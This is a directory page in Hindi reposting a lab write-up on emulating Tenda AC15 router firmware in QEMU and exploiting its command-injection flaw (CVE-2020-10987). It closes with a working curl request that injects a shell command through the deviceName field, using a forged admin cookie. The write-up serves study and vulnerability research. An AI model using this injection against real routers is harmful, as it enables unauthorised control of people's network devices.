Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Tenda-Router-VR-and-Exploit — Tenda AC15 राउटर फर्मवेयर पुनः होस्टिंग और दूरस्थ कमांड निष्पादन (CVE-2020-10987) शोषण प्रतिकृति के लिए लेख | Kitploit
उपकरण/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
एम्बेडेड सिस्टम सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेनिट्रेशन टेस्टिंगहार्डवेयर सुरक्षालर्निंग और शिक्षाफर्मवेयर विश्लेषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
बाइनरी शोषण
लैब और अभ्यास
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Tenda AC15 राउटर फर्मवेयर पुनः होस्टिंग और दूरस्थ कमांड निष्पादन (CVE-2020-10987) शोषण प्रतिकृति के लिए लेख

रिपॉजिटरी देखें
149 महीने पहलेअभी तक समीक्षित नहीं

Tenda-Router-VR-and-Exploit

यह लेख दिखाता है कि कैसे मैंने AC15 (V15.03.05.19) फर्मवेयर के वेबसर्वर को QEMU के साथ एमुलेट किया, इसे होस्ट ब्राउज़र से पहुंच योग्य बनाया, और कमांड निष्पादन प्राप्त करने के लिए एमुलेटेड rootfs के अंदर /goform/setUsbUnload हैंडलर (CVE-2020-10987) का उपयोग किया।


अवलोकन

  • फर्मवेयर इमेज से squashfs फाइलसिस्टम निकालें (या हमारे मामले में प्राप्त करें) और रिवर्सिंग शुरू करें
  • qemu-system-arm के तहत चलने वाला एक Debian armhf गेस्ट बनाएं
  • गेस्ट के नेटवर्किंग और एमुलेटेड राउटर के लिए पोर्ट-फ़ॉरवर्डिंग पथ सेट अप करें
  • हमारा बूट स्क्रिप्ट बनाएं
  • एमुलेटेड राउटर का शोषण करें

फाइलसिस्टम निकालना

पहले हमें अपनी फर्मवेयर इमेज प्राप्त करनी होगी। मैं AC15 V15.03.05.19 के लिए इमेज डाउनलोड नहीं ढूंढ पाया, हालांकि मुझे पहले से निकाले गए squashfs फाइलसिस्टम के साथ एक github रेपो मिल गया। यदि हमारे पास सही इमेज फ़ाइल होती, तो हम इसे binwalk का उपयोग करके निकाल सकते थे, जैसे,``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
चूंकि हमारे पास सही इमेज फ़ाइल नहीं है, लेकिन पहले से निकाली गई फाइलसिस्टम वाला एक रेपो है, हम बस रेपो को क्लोन कर सकते हैं।```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

मैंने VR नामक एक डायरेक्टरी बनाई है और इस रिपॉजिटरी को इसके अंदर क्लोन किया है। मेरा rootfs $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs पर है।

बढ़िया, अब हमारे पास हमारा AC15 V15.03.05.19 फर्मवेयर है। चलिए कुछ रिवर्सिंग करते हैं ताकि देख सकें कि क्या हो रहा है।

रिवर्स इंजीनियरिंग

मैं अपने रिवर्सिंग के लिए Ghidra 11.4.2 का उपयोग करूंगा। चलिए अपने टार्गेट बाइनरी rootfs/bin/httpd पर जाते हैं और इसे Ghidra में लोड करते हैं। अगर हम formsetUsbUnload फंक्शन पर जाते हैं, तो हम देख सकते हैं,```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
यह कमज़ोरी है। `deviceName` पैरामीटर सीधे `doSystemCmd` में पास किया जाता है जिससे हम जो चाहें कमांड भेज सकते हैं।

अब चूँकि हम इस फर्मवेयर को qemu का उपयोग करके रीहोस्ट करने जा रहे हैं, न कि मूल राउटर हार्डवेयर से, कुछ प्रोग्राम उन डिवाइसों तक पहुँचने का प्रयास करेंगे जो वहाँ नहीं हैं और हमारे स्टार्टअप को क्रैश कर देंगे।
चूँकि हमारा लक्ष्य वेबसर्वर (`httpd`) का शोषण करना है, मैंने केवल उस बाइनरी को रीहोस्ट करने पर ध्यान केंद्रित किया, न कि पूरे स्टार्टअप (`/rootfs/etc_ro/init.d/rcS`) पर। _पीछे मुड़कर देखने पर मुझे यकीन नहीं है कि यह सही कदम था_

इसलिए `rcS` को देखते समय मैं कुछ ऐसा खोजना चाहता था जो `rcS` कर सकता है और `httpd` को इसकी आवश्यकता होगी। फ़ाइल के अंत की ओर हम देख सकते हैं:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS शेष स्टैक के शुरू होने से ठीक पहले पृष्ठभूमि में cfmd प्रारंभ करता है। कुछ और शोध करने और यह देखने के बाद कि कमजोर फ़ंक्शन कमांड कैसे भेजता है, मैं इस निष्कर्ष पर पहुंचा कि,

  • httpd एक cfm post बनाता है
  • फिर cfm क्लाइंट एक UNIX डोमेन सॉकेट (जैसे /var/cfm_socket) के माध्यम से cfmd से संवाद करता है।

cfmd में InitServer रूटीन में हम देख सकते हैं```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
यह एक UIX socket बनाता है और सुनता है।
कुल मिलाकर यह कैसे काम करता है कि handler प्रत्येक क्लाइंट से एक निश्चित 0x7e0-बाइट frame पढ़ता है (`RecvMsg`/`SendMsg`)। पहले 4 बाइट एक command code होते हैं; फिर एक 512-बाइट key buffer और एक 1500-बाइट value buffer होता है (आप handler में stack object sizes देख सकते हैं)। यह opcode पर switch करता है और एक ACK code के साथ उत्तर देता है:
- `2` -> Get: `GetCfmValue(key, value)` फिर reply code `3`
- `0` -> Set: `SetCfmValue(key, value)` फिर reply code `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` फिर reply code `0x12`
- `10` -> Commit: `SaveCfm2Flash()` फिर उत्तर `0x10` (ठीक) या `0xB` (त्रुटि) देता है

इसलिए `cfmd` का अनुकरण करने के लिए मैंने एक छोटी स्क्रिप्ट `cfm_stub` बनाई।```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

अगले भाग के बाद मैं इसे संकलित करने का तरीका दिखाऊंगा।

अगली सहायक फ़ाइल hooks.so है। httpd और cfm में कुछ फ़ंक्शन हैं जो गैर-मौजूद हार्डवेयर के साथ बातचीत करने का प्रयास करते हैं। हमारा प्रोग्राम शुरू होने पर निम्नलिखित मान लेता है।

  • फ्लैश + MTD विभाजन मौजूद हैं और माउंट किए जा सकते हैं।
  • एक NVRAM डिवाइस (/dev/nvram) मौजूद है और सामान्य डिफ़ॉल्ट मान लौटाता है।
  • विभिन्न प्लेटफ़ॉर्म रूटीन सफल होते हैं (Layer-7 सेटिंग्स लोडर, RF पावर रिस्टोर, आदि)।

निम्नलिखित फ़ंक्शन एक समस्या बन जाते हैं और इसलिए हमें LD_PRELOAD=/hooks.so के साथ पैच करना होगा।

  • get_flash_type() -> यदि यह 4 लौटाता है, तो कोड फ़ाइल-आधारित पथ (cfm_file_init) लेता है, अन्यथा यह MTD से बात करने का प्रयास करता है (जो हमारे पास नहीं है)।
  • कॉन्फ़िग ब्लॉक आकार के लिए get_cfm_blk_size_from_cache() (और/या वैरिएंट j_get_cfm_blk_size_from_cache) से परामर्श लिया जाता है।
  • Broadcom NVRAM शिम (bcm_nvram_get) के लिए कॉल विफल नहीं होनी चाहिए अन्यथा स्टैक मानता है कि "NVRAM नष्ट हो गया" और रिस्टोर/रीबूट लॉजिक में चला जाता है।
  • इसके अतिरिक्त load_l7setting_file() और restore_power() जैसी रूटीन से सफल होने की उम्मीद है लेकिन वे गैर-मौजूद हार्डवेयर/फ़ाइलों को छूती हैं।

यहाँ हमारा hooks.c है। मूल के लिए azeria-labs को श्रेय।```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
अब इन फ़ाइलों को कंपाइल करें और उन्हें अपने फर्मवेयर में रखें।
क्रॉस कंपाइल करने के लिए हम Bootlin के पूर्व-निर्मित uClibc टूलचेन का उपयोग कर सकते हैं।```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

आपको कुछ इस प्रकार देखना चाहिए```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
अब हम के साथ संकलित कर सकते हैं```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

फिर अंततः उन्हें फर्मवेयर में स्थापित करें।``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## ARM अतिथि सिस्टम बनाना
आइए हम qemu पूर्ण सिस्टम का उपयोग करके अपने arm अतिथि को सेट अप करें।
मैंने इस अतिथि सिस्टम को `~/qsys` पर रखने के लिए एक निर्देशिका बनाई।

अब इस निर्देशिका में हम अपने अतिथि को निम्नलिखित कार्य करके सेटअप करेंगे```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

यह हमारा armhf rootfs बनाएगा, हमारे guest को अपडेट करेगा, कुछ बुनियादी उपकरण सेट करेगा, फिर हमारे root username:password को root:root पर सेट करेगा।

इसके बाद armhf kernal को इसके साथ स्थापित करें```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
फिर हम kernal को कॉपी करते हैं और ext4 इमेज बनाते हैं।```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

अब अपने गेस्ट सिस्टम को शुरू करने के लिए ~/qsys से चलाएँ```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
यहाँ स्टार्टअप कमांड में इन पंक्तियों का वास्तव में क्या अर्थ है, इसका एक त्वरित विवरण दिया गया है।
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` वर्सेटाइल एक्सप्रेस A9 बोर्ड मॉडल का उपयोग करें (एक बोर्ड जो डेबियन के armmp कर्नेल द्वारा समर्थित है)
- `-kernel/-dtb/-initrd` इस बोर्ड के लिए डेबियन कर्नेल/initrd बूट करें, साथ ही वेक्सप्रेस डिवाइस-ट्री ब्लॉब
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` PL011 पर सीरियल कंसोल के साथ मानक रूटफ्स-ऑन-एसडी सेटअप।
- `-nographic -audiodev none,id=noaudio` केवल सीरियल UI (कोई SDL विंडो नहीं) और कोई ऑडियो नहीं।
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU यूज़र-मोड NAT; `host:2222` को `guest:22` पर और `host:8080` को `guest:80` पर फ़ॉरवर्ड करें। नेटवर्किंग के लिए यह महत्वपूर्ण है। इसके बारे में बाद में और बात करेंगे।
- `-device virtio-net-device,netdev=net0` `net0` बैकएंड से एक NIC अटैच करें।
- `-drive file=./armhf.ext4,if=sd,format=raw` डेबियन रूटफ्स एक SD-जैसे ब्लॉक डिवाइस (`/dev/mmcblk0`) पर रहता है।
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` फ़र्मवेयर रूटफ्स (रीड-ओनली) को टैग `fw` के साथ 9p के माध्यम से गेस्ट में एक्सपोज़ करें। हम इसे `/firmware` पर माउंट करेंगे और लिखने योग्यता के लिए ऊपर एक ओवरलेफ्स लगाएंगे।

अब गेस्ट के अंदर आपको कुछ त्रुटियां मिल सकती हैं। जब तक आप लॉग इन प्रॉम्प्ट तक पहुँचते हैं और `root:root` के साथ लॉग इन कर सकते हैं, तब तक यह ठीक है।

अगला, हमारे गेस्ट सिस्टम पर इंटरनेट पाने के लिए निम्नलिखित चलाएँ:```
dhclient -v eth0  ||  udhcpc -i eth0

यह eth0 पर एक DHCP लीज़ प्राप्त करेगा

अब socat इंस्टॉल करें``` apt-get update && apt-get install -y socat

root@kitploit:~
## बूट स्क्रिप्ट
अब हम अतिथि की रूट डायरेक्टरी में अपनी बूट स्क्रिप्ट बनाएंगे।```bash
nano boot_tenda.sh

यहाँ हमारे गेस्ट के अंदर हमारा बूट स्क्रिप्ट /root/boot_tenda_sh है जिसमें प्रत्येक चरण को समझाने वाली टिप्पणियाँ हैं।```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
अब इसे चलाने का समय है।```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

आपको पोर्ट 80 पर httpd के साथ एक लिसनर दिखना चाहिए आगे सत्यापित करने के लिए अपने होस्ट पर http://127.0.0.1:8080/ पर जाएं और हम राउटर का होमपेज देख सकते हैं।

यदि आप नेटवर्किंग कैसे काम करती है इसके बारे में और अधिक जानना चाहते हैं तो पढ़ना जारी रखें, यदि नहीं तो आप अंतिम अनुभाग पर जा सकते हैं जहां हम वेबसर्वर का शोषण करते हैं।

नेटवर्किंग कैसे काम करती है इसका एक त्वरित अवलोकन

हमें गेस्ट के अंदर राउटर के httpd को लोड करना था लेकिन इसे होस्ट के ब्राउज़र से http://127.0.0.1:8080/ पर पहुंच योग्य बनाना था जबकि सर्वर अभी भी मानता है कि यह राउटर के LAN IP (192.168.0.1) से बंधा है। इसे काम करने के लिए तीन भाग हैं:

  1. QEMU user networking (slirp) + hostfwd
  2. गेस्ट में एक डमी LAN इंटरफ़ेस (br0 at 192.168.0.1)
  3. गेस्ट के अंदर एक स्थानीय TCP रिले (socat)

1. QEMU user networking (slirp) + hostfwd

हम इसे स्टार्टअप कमांड में करते हैं जब हम निर्दिष्ट करते हैं```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` slirp (QEMU का user-mode NAT) सक्षम करता है: गेस्ट को इंटरनेट (DHCP, DNS) तक बाहरी पहुंच मिलती है बिना होस्ट पर root bridges या TAP डिवाइसों की आवश्यकता के।
- `hostfwd=tcp::2222-:22` होस्ट पोर्ट 2222 को गेस्ट पोर्ट 22 पर अग्रेषित करता है।
- `hostfwd=tcp::8080-:80` होस्ट पोर्ट 8080 को गेस्ट पोर्ट 80 पर अग्रेषित करता है।

फिर हम `eth0` के लिए DHCP लीज़ प्राप्त करते हैं। ध्यान दें कि Slirp आमतौर पर गेस्ट को `10.0.2.15` असाइन करता है, गेटवे `10.0.2.2` पर होता है।```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. राउटर के LAN IP को गेस्ट में मौजूद बनाएँ

वास्तविक फर्मवेयर LAN ब्रिज br0 को 192.168.0.1 पर बाइंड करने की अपेक्षा करता है। हम उसे पुनः बनाते हैं:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- बाइनरी (या उनकी लाइब्रेरी) अक्सर इंटरफ़ेस नामों (जैसे, `lan_ifname=br0`) को क्वेरी करती हैं और एक ब्रिज डिवाइस की अपेक्षा करती हैं।
- httpd को `192.168.0.1` से बाँधने से व्यवहार/रीडायरेक्ट (जैसे, `302` से `http://192.168.0.1/main.html`) वास्तविक डिवाइस के समान रहता है।
- इस बिंदु पर, httpd केवल `192.168.0.1:80` पर सुनता है (गेस्ट के `eth0` पर नहीं)।

### 3. ब्रिज hostfwd -> फ़र्मवेयर लिसनर `socat` के साथ
`host:8080` -> `guest:80` पहले से QEMU द्वारा सेट अप किया गया है। लेकिन `httpd` गेस्ट के `eth0:80` पर नहीं सुन रहा है; यह `192.168.0.1:80` पर सुनता है। इसलिए गेस्ट के अंदर हम एक छोटा TCP रिले जोड़ते हैं:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

यहाँ समग्र लेआउट है``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## एक्सप्लॉइट समय
वेब स्टैक “goform” एंडपॉइंट्स को कुछ same-origin/AJAX जाँच और एक “logged in” कुकी के पीछे सुरक्षित करता है। UI JavaScript द्वारा भेजे जाने वाले वही हेडर भेजें:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

यह वास्तव में क्या करता है?

  • Host/Origin/Referer/X-Requested-With हैंडलर में AJAX + समान-मूल जाँचों को पार करता है
  • Cookie: user=admin; password=<md5> एक लॉग-इन सत्र का अनुकरण करता है। इस मामले में मैंने md5("admin") = 21232f297a57a5a743894a0e4a801fc3 का उपयोग किया
  • deviceName=$(touch /tmp/Hello_World) डिवाइस का नाम उस कमांड पर सेट करता है जिसे हम चलाना चाहते हैं। इस मामले में हम एक फ़ाइल /tmp/Hello_World बना रहे हैं ध्यान दें कि इस कमांड को चलाने से कुछ समय के लिए हैंग होगा और फिर संभवतः त्रुटि के साथ कनेक्शन बंद हो जाएगा। यह ठीक है और इसके काम करने का प्रमाण है।

इसके बाद अतिथि में, आगे सत्यापित करने के लिए हम अपनी नई फ़ाइल के अस्तित्व की जाँच कर सकते हैं```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
आपको देखना चाहिए```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

हमने अपने पुनः होस्ट किए गए राउटर को अपने भेजे गए कमांड को निष्पादित करके सफलतापूर्वक शोषण किया।

टूल डाउनलोड करें